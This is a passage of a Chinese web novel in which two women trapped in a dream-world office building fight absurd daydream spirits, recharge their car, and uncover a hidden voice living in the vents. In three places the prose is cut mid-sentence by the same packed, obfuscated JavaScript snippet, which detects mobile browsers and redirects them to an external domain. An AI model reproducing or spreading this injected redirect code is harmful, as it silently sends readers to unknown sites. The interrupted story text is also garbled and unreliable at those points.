她的目光紧盯着陆萌,不放过后者的任何一丝反应。 还是陆萌自己说的呀,最可怕的不是从梦里醒来,而是怎么也醒不了…… 会不会,陆萌也清楚地知道——她醒不来? 7. 6. 一楼大堂 陆萌不躲不避苇思航的目光,不一会,笑了起来,仍是那副没心没肺的样子。 “苇姐,你说的对,是我糊涂了。”陆萌道,垂下长睫,“早知道这里这么危险,我肯定不跟着过来了,我嘛,也帮不上什么忙,尽量不添乱就好了……老实跟你说,我最近睡不好,要吃药才睡得沉,怕一时半会还醒不了呢。” 她三言两语撇清自己,把问题抛回给苇思航:“苇姐,你现实里是什么情况啊?” 苇思航:“……不知道。”语气有点生硬,不过也是实话。 她不知道陆萌是不是在装傻,想了又想,总归动嘴皮子没什么用处,将车熄火,打开车门。 “苇姐,你干嘛?”陆萌立即问。 “——充电啊!”苇思航丢下一句。 就在刚刚短短的时间内,苇思航已经想好了。她直觉觉得陆萌有什么事情瞒着她,但是明显现在并不是追究这个的时候。 至少此时此刻,陆萌是她唯一的伙伴。 陆萌也马不停蹄跟着苇思航下了车,前后脚关门的声音响起,两人隔着车面面相觑。 苇思航:“你下来干嘛?” 陆萌:“我看前窗坏了,不太安全,所以……” 苇思航脱口而出:“咋?你还能修啊?” 本是一句玩笑话,结果,嘿,您猜怎么着?陆萌好像还真可以! 苇思航狐疑地看着对方,从陆萌随身的挎包里,怎么也不像藏了备用玻璃,榔子锤子之类的修理工具……只见她十分慎重地掏掏,最后拿出一张——创可贴,画着粉色草莓的那种,和她一身御姐装束形成了强烈的反差。 陆萌把那张粉色创可贴撕开,贴在车窗的破损上,附带一个“吹吹不痛”的组合技。 苇思航:“……” 就在她不以为然的时候,奇迹发生了。 车前窗的创可贴变成了一片茫茫的马赛克,在苇思航以为自己眼花之时,下一刻隐入玻璃的纹理,苇思航又眨了眨眼,车窗已经焕然一新。 不等苇思航发问,陆萌主动道:“这是‘梦境补丁’——我用开灵车赚的精神力从补给局那里买的。” 苇思航免去大惊小怪地点点头——忽略这一个句子里大半名词还很陌生的情况下。 简而言之,“梦境补丁”是一种特殊道具,可以将梦境中的事物按照使用者的需求外化,使梦境趋于合理,使用者对需求越具体精细,效果越好。 “史塔克工业制造,超高规格防爆防刮处理,厚层玻璃吸能结构能抵御200公斤TNT爆炸产生的冲击,轻微刮痕24小时内自愈,具备最新单向防弹功能,”陆萌仰着头,颇为自得地介绍,“怎么样,还可以吧?” “……史塔克工业,是我知道的那个吗?”苇思航艰难发问。 “没错!就是钢铁侠,托尼·史塔克——那个史塔克!”陆萌满口应下,语气里有几分得意。 “……” 真实世界中的史塔克并不存在,不过在灵界中,这个名字似乎象征着某种高精尖的工业力量。 苇思航看着眼馋,心想要是自己之后也能换来这种道具,高低要把整辆车都鸟枪换炮了。 刚刚那种一闪而过的马赛克,她还有点眼熟来着……噢,想起来了,陆萌给自己大方展示过,她的背心之下覆盖的部位…… 不知道为什么,苇思航很确定陆萌在自己身上试过,可惜,照她说的,“渲染失败”。这么看来,现实中的陆萌,其实是个平胸? 陆萌不知道苇思航此刻在想什么,兴冲冲拉开游戏人物的个人面板,从里面掏出一把霰/弹枪,这把枪有半人那么高,通身金属色,贴合在她的手臂上,有种机械的美感,上面刻着红色的火焰纹路,十分拉风,一看就知道是她的装备。 苇思航先是一惊,很快平静下来,怎么不早点拿出来…… “等着,苇姐,一会你开车,我开枪,我不信咱俩B1冲不出去!”陆萌颇具豪情放下话来。 苇思航心头微暖:“你这是玩什么的?” “我是近战射手!” 苇思航沉默了,生怕说错话伤了同伴的感情。 想象着要一边躲避触手怪物的攻击,艰难突围凑近再给它一枪…… 还是算了,妈的废物。 当务之急是要给0373充电。 充电枪连接成功,只是下一步让苇思航犯了难。要知道,充电桩需要预付电费才能开始工作,她摸遍了全身,没有找到手机。 这可怎么办? 0373背后就是大楼电梯间,心念一动,苇思航招呼陆萌,两人一起上楼,准备去一楼大堂碰碰运气。 两人一前一后,走进电梯间,电梯显示异常,无法运行,于是该走旁边的楼梯,B3的黑水果不其然也侵袭到了这里,下行的楼梯被淹去一半,湿热的空气像是一块没拧干的抹布蒙在人脸上,墙皮因为过高的湿度已经出现了发霉斑驳的迹象。 想到她们此刻可能就正在B1看不见的大章鱼正下方,上楼的步伐便有些沉重,陆萌端着枪走在前面,红发一颤一颤,冲苇思航道:“放心吧,苇姐,有我在呢,什么东西敢过来,我第一个突突它。” 苇思航忍不住笑。 自从刚才车上的插曲之后,陆萌好似有意向她证明自己的价值,显得格外积极,苇思航看在眼里,更确定了自己的想法,将之前那些疑虑都抛之脑后。 有赖于B3直达的湿润气流,楼梯的地面上浮着鸡皮疙瘩一样的细小水珠,平整的样子说明并未受到看不见触手的破坏,两人松了口气,在地上留下自己的脚印,尽快通过B1,又上一层,拉开那扇沉重的安全门,就是一楼大厅了。 * 梦茧大厦的大堂延续了外观的现代化简约设计,整体以浅色为主,营造出开阔、明亮的空间感,超高挑空足有四层楼那么高,需要额外乘坐电梯直达低层的商业体。步入其中,最引人注目的莫过于一整面的热带植物墙,宛如一座垂直的小森林,各种植物错落有致,尽管都是绿色,却因其深浅、纹理的不同,一点也不显得单调,一派生机盎然之态,看着叫人心旷神怡。弧线型的玻璃外墙采光良好,往日透进室外柔和的光线,如今映着外面幕布一样的夜空,室内灯光大亮,轻柔高雅的交响乐回荡在其中。 苇思航打开门,看到的便是这样一副景象。就是她印象中入夜的梦茧大厦该有的样子……是吗? 大堂里十分热闹,突然一下见到这么多人,苇思航呆了一下,不对,应该不是人…… 至少不是正常人。 苇思航和陆萌睁大了眼睛,安全门在他们门口静悄悄地合上,一个荒诞的世界在她们面前展露真容。 一群裸男蜂拥而至,在大堂里胡乱奔走,打头那个男人双手敲打着胸口,高唱:“我是隔壁的泰山!Oh~Oh~Oh~”在他身后跟着大约十个追随者,脸上的神情宛如梦游,摇晃着四肢,像是用全部肢体语言表达着“自由!” ——那是8楼的Jason和他的team正在开一场沉闷的会议。 非礼勿视地移开目光,又看到不远处,一男一女旁若无热地用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670546|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舌头狂甩对方嘴唇,不知天地为何物的激吻。 ——12楼Stella和17楼Mason每天同乘一部电梯,Mason连他们孩子的名字都想好了。 无语凝噎,只有望天,却见热带植物墙上,垂下好几双腿来,男的女的都有,第一眼以为有人在上吊吧,再看一眼,植物墙成了粘鼠板,重力似乎不存在了,许多人躺在柔软的苔藓上小憩,一个二个思绪已然飞去了夏日小岛,懒洋洋地晒着白炽灯浴。 又有一个女人跑掉了一只高跟鞋,想要冲出大厦,却被困在旋转门里,两腿一深一浅,亦步亦趋,哭叫着拍着面前的玻璃:“救命啊!我不想上班!” ——这就是上午十一点,灵界梦茧大厦内部的景象。值得一提的是,这是刚刚结束了公共假期的一个工作日。 苇思航瞳孔地震,又一震,转头用气声询问陆萌:“这些都……啥啊?” 陆萌尬笑:“好像是……梦灵。” 苇思航微一挑眉:“大白天的,哪来的梦灵?” 还是她说的啊! 陆萌理直气壮:“白日梦啊!” 苇思航:“……” 有多少此刻人在工位,魂已经飞走的,正在另一个世界享受着狂欢。这些区别于正常的梦灵,只有碎片化的意识,心中的渴求和隐欲被无限放大,只会下意识地重复着自我满足的动作。 由于之前陆萌谎报军情,苇思航本以为要应付的只有幽灵而已,这下便有些措手不及。她原本还担心陆萌扛着枪的样子过于浮夸,可能会引来不必要的注意力,这么一看,竟是完美地混入其中。 她正想着,那边果然出现一个扛着冲锋枪的男人,癫狂地笑着,二话不说冲人群扫射:“再改方案我是狗!把你们都撒了!” 人群对此毫无反应,沉浸在自己的世界中。子弹像雨点一样打到身上,砰的一下变成红艳艳的人民币,陆萌抓了一把放进兜里。 苇思航也被波及,挨了一下,却“嘶”一声。 好痛! 被打到的皮肤瞬间泛起红印,像被鞭打一般火辣辣的,苇思航感到一种直达神经的疼痛,转头去看陆萌,却像没事人一样。 她慌忙拉着陆萌找到附近一个掩体,晕头转向中,又被低空漂浮着的状如吹气河豚的上班族踹了一脚。这次也是结结实实的钝痛,被碰到的那一瞬间,苇思航还有一种奇怪的感觉,身体好像变得很轻,也要跟着一起漂浮起来。 她的脚尖即将离开地面,幸而陆萌将她一把拉住,苇思航才从飘忽的感觉里如梦初醒。 “我这是怎么了?”她自言自语。 陆萌道:“苇姐,你看上去太正常了,其他灵体的攻击会对你造成伤害,这样下去你很危险!” “……” 谁说不是,苇思航戴眼镜,扎马尾,衬衫西裤,看起来再平凡不过的一个小白领,在一众牛鬼蛇神中显得格格不入。 无数白日梦汇成荒诞的集体意识,正在排斥她的存在,虽然还没到主动攻击的程度,但是她无形中已经成了活动的靶子。 距离前台还有一定距离,苇思航望着目标,狠了狠心,摘下眼镜,好似剥掉最后一层羞耻,下一秒匍匐在地,开始以作战姿势朝着前面爬行。 陆萌:“?” 仍在持续扫射的子弹弹到她的身上,力道果然减弱,苇思航一副即将炸碉堡的表情,目光坚定地朝着前台的方向。 等什么,赶紧念词儿啊! 苇思航声音洪亮,加入灵魂。 “狗公司,我要炸了你!” 8. 7. 车内 打不过就加入。 爬到后面,苇思航都有点忘了自己一开始这样做是为了什么…… 她是不是疯了? 做出这种事,一点也不像她,不过呢…… 大声骂公司带来的舒爽,几个小时以来心中郁结的闷气随之一空。 只是…… 苇思航给自己设计的战士形象,却因为身后慢悠悠跟着的陆萌土崩瓦解,陆萌的靴子一下下踩在地上,悠闲的模样衬得在地上蠕动的苇思航像个窝囊的战俘。 苇思航心中暗骂,陆萌明明可以走的很快,非要跟在她边上,明显是在看她笑话啊! 这一路显得无比漫长,不知过了多久,苇思航抬头,不知是不是她的错觉,感觉附近的人变少了,癫狂混乱的气氛也为之一清。 “可以起来了,”陆萌笑嘻嘻道,“看来时间到了,他们吃午饭去了。” “……” 这是不是说明,这些人工作的时候摸鱼,吃饭的时候还蛮专心的? 苇思航立即起身,拍着身上并不存在的灰尘,尝试在陆萌面前挽回形象。心里想,下次就算要加入,得换个不费劲的法子…… 再没有白日梦灵的阻挡,苇思航三步两步跑向前台,往日里,这张半圆形的白色大理石桌后面,总是有着身穿制服笑容可鞠的物业服务人员,现下空无一人。 苇思航躲进前台之后,在充斥其中的无数杂物之中翻找着。 她记得之前有一次她充电因为手机网络问题失败了,最后是找到用一张NFC充电卡解决了问题。苇思航想找的就是那个。陆萌说是在帮忙,实则乱翻一气。 苇思航先看到了桌子上最显眼的——手机,看款式,还是某果保留home键的某一款,相当有年代感。 苇思航心中一动:“我有个问题。” 一旁陆萌头也不抬:“怎么了?” “现实中有的东西,灵界都会有吗?” 陆萌懒洋洋回答:“不一定哦。” “灵界虽然物理上和现实世界是重合的,但是现实世界中只有被‘附灵’的那些无机物,才会同步被刻录到灵界。” 苇思航专注地听着,听到“物理”,“无机物”之类的名词不禁发笑,实在也有够违和。 陆萌继续道:“所谓‘附灵’嘛,可以理解为被倾注了心力的东西,倾注的越多,存续时间也会越长,另一种含义上的被赋予了‘生命’咯。” 苇思航点点头。想着在另一个世界,有些东西只因你而存在,细品倒有种浪漫呢!现实里,她拥有的东西不多,迅速在脑海中重新审视一遍,0373肯定是一个,还有吗? 苇思航看着手里这个年代久远的东西,想着,它会出现在这里,想必是对主人来说有着什么不同寻常的意义吧? 转念想到自己用了三年多的手机,也不知道有没有达到标准…… 她把老式手机放回了原处,旁边还有医药箱、钱包、工牌等物,看起来不属同一人所有,甚至不属于同一时期……鬼使神差般的,苇思航伸手把那张名叫“苏秀禾”的工牌揣进了兜里。 心里有了“附灵”的标准,直觉告诉苇思航,很难在这里找到她想要的NFC充电卡了,然而灵界事情的发展往往在她的意料之外。 “是这个吧。”陆萌也来帮忙,从一堆杂物里准确无误地找到一张卡片,语气相当笃定。 苇思航接过,大大惊讶——好像还真是! 一张薄薄的卡片,没有文字,正中画着充电的图示,就和之前苇思航见过的一样,除了右上角多了一个额外的标志——三个圆圈呈三角排布,中心重合在一起。 不等她问,陆萌主动告知:“这是灵界管理局的标志。” ……管理局?继补给局之后,苇思航又一次听到类似的名词。原来灵界也是有管理机构的? 陆萌像是看穿她在想什么,点点头,一锤定音:“这本身就是灵界的东西。” 而不是从现实世界中刻录而来。 联想到B1在充电站附近的大章鱼,苇思航立刻想到,难道充电在灵界也是刚需?同时身为一名遵纪守法的好公民,她接着想到。 “那个什么……灵管局的,B1的大章鱼可以叫他们来处理不?” 有困难,当然找警察叔叔! “怎么叫?” “嗯……打110?” 陆萌听见却笑了一下,顺手拿起桌上的老式手机,按一下,屏幕亮了,递给苇思航:“这样,你试试。” 像是鼓励,又像是故意看她笑话。 苇思航怀疑地接过,心想这有何难? 幺、幺、零。 就3个数字,何况按键页面总共就那几个数字,实在想不出会有什么问题。 但即使这样,苇思航还是频频误触,按错数字,删掉重按,又错了,她明明只按了一下,蹦出一大串随机数字,又要重头删起……不一会额头上就出了汗。 该死的,怎么就是弄不对?是她有问题还是手机有问题? 捣鼓了一阵,苇思航气的连砸手机的心都有了。 陆萌一副早已料到的表情十分欠揍,摊手道:“梦里的手机是这样的。” “……” 好像还真是,梦里的手机永远不好使。没办法,苇思航放弃了。 “拿上东西,走吧。” 揣上那张得来不易的充电卡,苇思航与陆萌原路返回。白日梦灵们肉眼可见少了很多,一路没遇到什么岔子。 重新回到B2,刷上卡,果然成功充上电。坐回车里,看到仪表盘上亮起的显示正在充电中的指示灯,苇思航如释重负地长出一口气。 尽管她知道,危机还远没有结束,不能忽略的事实是,她们仍然被困在这一层,更准确的说,0373被困在这里,而她是不可能丢下0373一走了之的。 上一层看不见的大章鱼来者不善,下一层的黑池魇境也明显不是省油的灯。才过去了不一会,闷重的水汽穿透了狭小的楼梯间,在整个B2弥漫开来,挡风玻璃上起了一层明显的水雾,预示着下方的黑池还在缓慢地涨潮。 留给她们的时间不多了。 尽管以上这些苇思航全都清楚,不妨碍她此刻利落地调低主驾座椅靠背,舒舒服服地躺平。 副驾上陆萌看到,不可置信:“这是要干嘛?” 苇思航说出那个显而易见的答案,眼睛半闭:“睡会儿。” “……” “你不困吗?” 没能等到陆萌的回答,苇思航头一歪,眼睛整个闭上,已经意识模糊,如果不是呼吸平稳,还以为她遭遇了什么不测。 她是真的困了,一连几个小时精神高度紧张,身上刚刚被白日梦灵打到的地方还在隐隐作痛。反正车充着电,也没有别的事好干,真还不如睡一觉来的实在。 虽然她目前身为灵体,人在梦中,还要睡觉很不可理喻就是了。 来不及多说什么,苇思航像晕过去一样睡着了。 副驾上的陆萌眨一下眼,又眨一下,像是没反应过来,表情十分意外。身边的人发出睡梦中均匀的呼吸,又过了一会,陆萌的手似无意地搭在前方空调的拨片上,嘴角微微提起,一个没什么温度的笑容。 “可以出来了。”毫无起伏的声音,陆萌的样子看起来像在和空调口对话,她的眼中一片漆黑,像是橱窗里的布娃娃被缝上去的黑纽扣。 来自空调深处的气流似乎出现了一刻紊乱,源源不断地朝外送风,声音渐渐鼓噪起来,像是来自海上的寒流正在聚集成团,彻骨冰寒,车内温度骤降,不影响主驾上睡着的女人神态依旧安详,脸色愈发红润。 * B2停车场的感应灯早已纷纷熄灭,四周便完全暗了下来,只有0373的小灯发出微弱的光亮,宛如漆黑海上的一座发光的孤岛,照着前方影影绰绰两三车辆的影子。室内外巨大的温差使得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670547|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋外的水汽凝结在车身上,先是雾,慢慢凝成一层透明的霜壳。 底盘里传来闷雷滚动一般的轰隆声此时已经完全无法忽略,像是里面藏着什么活物,正在这具钢铁骨架里四处游动,如果此时苇思航醒着,想必恍然大悟0373一直以来的故障所在——有什么东西正潜伏在这辆车的底盘里。 要是她此刻再一转头,看到副驾上同伴“陆萌”此时完全陌生的神情,则会大吃一惊。 外表是红发女人,表情一派冷漠——让我们还叫她“陆萌”——的神秘人士,不顾车主还在一旁,在黑暗的车厢中与另一个神秘的东西对话。 像是恐怖片里突然接通讯号的老式收音机,车内沉寂的音响发出一声嗡鸣,随后一个常在广播里听见的类似电子音在车内回响。 “老大……” 一句话没能说完,被陆萌皱眉打断:“别吵。” “……” 电子音心中不忿,明明是对方叫它出来,现在又叫它闭嘴! 陆萌只知道它说的毫无营养,都是些牢骚而已,她目前并没有浪费时间的心情。 长话短说,三天前,是她把那东西塞进了这辆车的底盘,本想着到灵界尽快取回,却没想到事情开始逐步失去了控制。 目前的情况是,他们都被困在了这里。B2车库。 空调无言的冷风隐隐透露着一丝幽怨。 陆萌如何不知电子音此时心中在想什么,冷笑道:“现在放你出来也行,负二层的魇境和负一层的克苏鲁怪物,都交给你对付好了。” 电子音干巴巴陪笑。 “老大又说笑了,我现在这么虚弱,当然还是要靠老大出马……” “放心吧。”陆萌大言不惭地应了,下句却道,“你指望不上我。” 电子音正要拍马屁一番,脑筋猛地转了个弯,回过味来:“……” “我这个灵体能力有限,不管是你,还是我,待会都得指望她啦!”陆萌话里有几分幸灾乐祸,倒是有几分苇思航入睡之前“陆萌”的影子。 说着,陆萌的目光又转向主驾的苇思航身上,苇思航看起来睡得很香——当然,她看到的不全是这个。丝丝缕缕的精神力肉眼不可见,却逃不过陆萌的眼睛,那些来自空调口的能量正漂浮在冰冷的空气中,被苇思航吸收,滋养着她的灵体。 她皱了皱眉,不太满意:“强化太慢了。” 这话电子音可不爱听:“苍天可见!我都快被她吸干了!” “是她自己存不住!我有什么办法?死那么多次,白白浪费我精神力……”电子音嘴硬,不妨碍空气中无形的精神力加倍输送着,被困在这里,它也着急啊! 它想到上一次,没有陆萌,苇思航开着0373成功逃出了B1,可惜随后又出了车祸,导致前功尽弃。那一次,B3还没有魇境呢,这次只会更加棘手…… 电子音:“说起来怪邪乎的……这车的电就跟她的血条似的,死了掉血,要是和车一起死了,就回到原点,失去记忆……老大,你之前见过这情况吗?” 陆萌摇了摇头,对于这一点,她也觉得十分离奇。 “……老大,你倒是说话呀,我现在又看不见!” 陆萌没好气瞥了出风口一眼:“没有。” B3的黑池始终是个隐患,不知道什么时候就会暴起,多梦的夜晚即将到来,它的力量只会越来越大。而且,她隐约感到一股不寻常的气息…… 这样想着,陆萌打开门。 “老大你去哪——”电子音的嚎叫。 “闭嘴,”陆萌毫不留情:“你抓紧给人强化。我看看去。” “……” “要是我没回来,不用管我,只要你们能出去,就还是老地方见。”陆萌留下一句。 电子音最后听到车门闭上的声音,车厢里重归一片冰冷的寂静。车外,一长串声控灯依次亮起,陆萌靴子踩在地上,朝着某个方向一步步走远。 9. 8. 黑池(一) 新的一天。一个没什么盼头的晴朗周三,秋老虎仍在肆虐,才上午十点,太阳已然藏不住毒辣的嘴脸,高挂在万里无云的天空,预报今天气温会超过35度。 一个女人从最近的公交车站一路小跑而来,边走边在帆布包里一堆杂物里寻找着什么,汗水不一会就打湿了她的针织上衣,很不舒服地粘在后背上。 她打扮干练,穿着灰色的针织马球上衣,灰色西裤,脚上乍一眼看以为是黑色皮鞋,实则是一双轻便的帆布鞋。她模样清秀,鼻梁上架着一副眼镜,现在因为出汗,有点滑脱了,她于是扶一下,未烫染过的长发在脑后扎了一个低马尾。 找到了。她从帆布包里好一番摸索,抓到“苏秀禾”的工牌戴上。 此时她到达梦茧大厦的正门,室内飘出的少量冷气前来解救,背上的热汗上新添一层欢呼的冷汗,周围和她一样行色匆匆的打工人络绎不绝,抵达公司楼下,纷纷拿出手机打卡,接着埋头朝里走。 一楼大堂明亮通透,跟外面又热又晒的环境比起来,简直像进入了天堂。一整面绿植墙迎着阳光,发出翡翠碧玉似的清润光泽,绿意盎然。打工人如同训练有素的工蚁,跟随一道看不见的轨迹,在高层电梯和低层电梯入口处分流,等待被送往自己的岗位。 苏秀禾的公司位于21层,需要乘坐低层电梯,她挤进人群,毫不起眼。 “苏姐,早啊!”一个清甜的女声响起,跟着,一只手拍了拍她的肩膀。 她便转头去看,愣了一下。 “苏姐,我呀,萌萌。”对方是个年轻女孩子,眨动着精致的眼睫,笑着自我介绍。 萌萌察觉到苏姐的目光盯着她瞧,顺势一撩头发,笑呵呵的:“昨晚下班去染的,最近流行红发,好看吗?” “好看。” 萌萌也投桃报李:“苏姐,你裙子也好看。” “苏秀禾”不做声了,望着眼前,光滑如镜的电梯井映出她的影子,一个陌生的身材肥胖的女人装在一条肥大的黑色筒裙里面,如果有什么词语第一时间跳进她的脑海,很不幸的——“裹尸袋”。 电梯到了,门打开,众人纷纷进入,不多时便均匀地占满了一个轿厢,好像搭电车,只苦于没有把手,每个人抱臂站着,合成一堵面无表情的墙壁。 萌萌继续招呼她,作势要挤进人群:“苏姐不上吗?” 被电梯最外侧的人瞪了一眼,苏秀禾识相地收回脚步:“我等下一趟。” 萌萌眼睛一转,乖巧道:“那我和苏姐一起。” 电梯门在她们面前缓缓合上。 * 又一架电梯的门打开了。 头顶的灯光比大厦里暗了一个度,显得陈旧昏暗,四周都是金属色的墙壁,四四方方的像一个铁盒子,上面晃动着人的影子。苇思航扮演的“苏秀禾”和萌萌前后进入这里,帆布鞋的胶底接触到地面,发出嘎吱嘎吱的胶粘声,给人一种不洁的感觉,苇思航蹙起眉。 她脚下的声音引来身边人的窃笑,不用想,又是在拿她的体重做文章。苇思航无视了那些人,也包括萌萌脸上一闪而过的笑容,唯独在按楼层按钮的时候,手指一顿。 按钮的缝隙之间,已经干涸的肮脏的深色痕迹,似乎在沉默地诉说着什么。是血。苇思航被过于滑腻的触感提醒,触电一样收回手。 门缓缓在面前闭合,电梯开始上升,苇思航独自抬头,与轿厢顶上趴着的一只鬼四目相对。 唉,困在梦魇里是这样的。 ——事情还要从她一觉睡醒说起。 * B2一片漆黑的停车场里,苇思航因为一声巨响猛然惊醒,她从座位上坐直身体,首先映入眼帘的是仪表盘——电量80%,目前时间是20:08。 她竟然睡了那么久? 正要怪陆萌不叫醒她,转头却发现副驾驶上空无一人。 “陆萌??陆萌!!” 车内的情况一目了然,除了她之外再没别人,一眼瞥到车外,苇思航瞳孔紧缩——天塌了! 啊不,准确的说,B1塌了。 有赖近光灯的照明,苇思航看清眼前的一切。吵醒她的那声巨响的来源——坍塌的混凝土吊顶砸中了引擎盖,然后顺势掉到地上,埋在楼体之间的水管也破了,现在正哗哗朝下面灌着水。 她打开车门,就要去探明情况。 “不要下车!!!” 一个陌生的电子音在车内紧急炸响! 苇思航半只脚踩到地上的积水——已经来不及了。 * 苇思航再次睁开眼睛,发现自己不在黑暗的停车场,而是无端出现在梦茧大厦附近。天上明晃晃挂着太阳,说明现在是白天。 她抬头直视毒辣的阳光,有种不敢置信的感觉。 她这是……出来了?那个什么……灵界? 好热…… 浑身的每个细胞好似都在尖叫着见光死,她把帆布包顶在头顶,三步并作两部朝着梦茧大厦走去。 咦?又是梦茧大厦? 她低下头,看见胸前有什么东西在一晃一晃,她一把抓住,只见那是一张再普通不过的工牌。 上面的名字是苏秀禾。 等下……这个场景她好像梦到过…… 苇思航觉得脑中一片浆糊,索性先不去管,随手把工牌摘下,丢进帆布包里。继续朝着梦茧大厦走去。 几乎是受一种本能驱使,她走进大堂,再走到电梯口,电梯到了,她走进去,按下21楼。——一切看上去都很正常,都说明这只是一个再普通不过的工作日早晨…… 直到,她在电梯里的光滑镜面里,看到自己的影子——一个裹在黑色筒裙里的陌生女人。 那不是她。 一种战栗感直冲天灵盖!苇思航一个激灵,意识到不对的时候,电梯门已经关死,开始爬升。 血……刺激性的红色映入眼帘,从铁盒子的四角开始朝着中间蔓延,闻不到任何血腥味的事实,反而加深了视觉上那种诡异的印象。 苇思航低下头,看见鞋子已经踩在一片浓稠的血泊里,很快,从鞋面直洇到袜子里。脚趾被那湿润粘稠的触感包裹,仿佛有无数细小的虫子在皮肤上蠕动,令人作呕。 她开始慌了,终于有了动作,挤开身边淡定得可怕的人群,在电梯面板上乱按一气,没用。电梯没有在其中任何一层停下,好似没有终点的上行带来轻微的失重感,和刺眼的红色一起让人发晕。 水位上升到小腿高度,苇思航开始拍打电梯门,没用,上脚踹,还是没用。电梯的金属门沾上血之后更加滑腻,纵容她留下挣扎的痕迹,却纹丝不动。 苇思航好像知道那些血的来源了,回头一瞥,身边男人的脸变得绵软塌陷,好像一个被高温烘烤后的蜡做的小人,失去了原本的形状,眼球在两个深陷的窟窿里,随时都要流出来。血水正从他的身体里不断涌出,周围的一切都变得无比软烂,也包括苇思航此时因恐惧而瘫软的手脚。 苇思航没来由想到一锅正在铁盒子里缓慢熬煮的罗宋汤,她和其他人都是其中的食材——除了她好像更耐煮一些。转眼,身边男人已经完全融化成一滩血水,领带飘在一片血色的汪洋之上,像一条无力的蛇。水位已然来到胸口,她飘了起来,觉得肺部被挤压地生疼。 眼前一片模糊,完全被血水糊住,滑腻地灌进她的口鼻,只是想象到应有的腥臭,也足以令人作呕。她挣扎的动作越来越无力。恍惚间,她仿佛产生了一种错觉,如同过往每一个熟悉而乏味的工作日……她站在公司的茶水间,等待速食加热的时间既短暂又漫长,足够主人在走神的间隙做上一个血腥的白日梦。 终于,电梯抵达的“叮”的一声响起,也像是微波炉加热结束的戏谑提示音—— 苇姐,您的汤好咯。 * 梦茧大厦B2停车场。 凭空出现在主驾座位上,苇思航咳嗽个不停,濒死之际抓着自己的脖子,那种窒息的感觉挥之不去,仿佛还有无数粘稠的血块从她的口鼻中涌出。 终于一口气喘顺,她首先看向仪表盘。 显示时间过去了五分钟。电量从80%下降到55%——转眼25%的电没有了。 头顶的水管还在灌水,雨刮器自动激活,刮擦着前窗,发出单调的声音。苇思航惊魂未定,触电一样收回踩在黑水里的脚,重新在驾驶座上坐正身体,挣扎着关上开了一条缝的车门,刚刚经历的诡异的一切好像还在眼前挥之不去。 车门关上的同时自动落锁。那个她不久前听到的像是幻觉一样的陌生电子音再次响起。 “外面危险!快离开这里!” 不用它说,苇思航系上安全带,一脚油门踩下,0373朝前冲去,惊险躲过天花板上的落石。 “……你谁啊?”苇思航终于又能说话了,她一边驾驶着0373,望向那个声音的来源——貌似是空调出风口。 “……” 电子音选在这时暴露身份,实属无奈之举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15670548|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说起它此时的心情,简直一言难尽。事情的发展远远超出了它的意料。 在苇思航睡着,陆萌下车之后,它一心一意贡献着精神力,强化着苇思航的灵体。谁知B1会突然塌方,于此同时B3的黑池暴涨! 更别说苇思航刚刚的一脚,直接把人干进了魇境!谨防情况继续恶化,它必须得出马了! 虽然这样想着,电子音却并没有想好,该如何解释自己的存在。车内陷入了短暂的沉默。 反观苇思航。 对于突然出现的电子音,她的第一反应倒不是恐慌,反而有些惊喜。没办法,身处危机四伏的极限环境,又是孤身一人,很容易对同伴产生一种心灵上的亲近感。她突然福至心灵,想到自己看过的一百零一部网络异能小说。 “我知道了!你一定是我的系统吧!” 电子音沉默了半响。 “……嗯,我是。” 属于是想睡觉别人递来了枕头。含泪认领了哈。 苇思航激动了!终于!她就觉得自己迄今为止的一番奇遇少了点什么。 她的金手指终于来了! 充过电的0373活力无限,轰鸣强劲,常常让人忽略它其实是一辆电车的事实,身后没来得及扯下的充电线像一条黑色的细尾,越开越远,便如同一只断了线的风筝。苇思航不停转动方向盘调整方向,行驶的轨迹歪歪扭扭,几次惊险逃过从楼上掉下的致命石块。 苇思航在后视镜里看到了B1坍塌留下的废墟中央的景象,是上一层的那只怪物! ——那只触手怪物如今完全现行,形状可怖的粗壮触须四处散落,现在正在脚腕深浅的水中无力地扑腾。 咦……水? ——是B3的黑池! 过去苇思航睡着的几个小时,黑池因为不明原因力量暴涨,顺势突破了B3。加上断裂水管的倒灌,情况雪上加霜,看来整个B2被整个侵蚀也只是时间问题。 地面上积起的黑池水位尚浅,呈现出被稀释后的灰色,显得十分污浊,0373暂时还能涉水前行,苇思航的目标只有一个——尽快逃去B1! 这期间她不忘跟新发现的“系统”对话。 “你怎么现在才出现?——啊我知道了!是之前电量太低,休眠了吧?”她自问自答。 “……嗯,没错。” 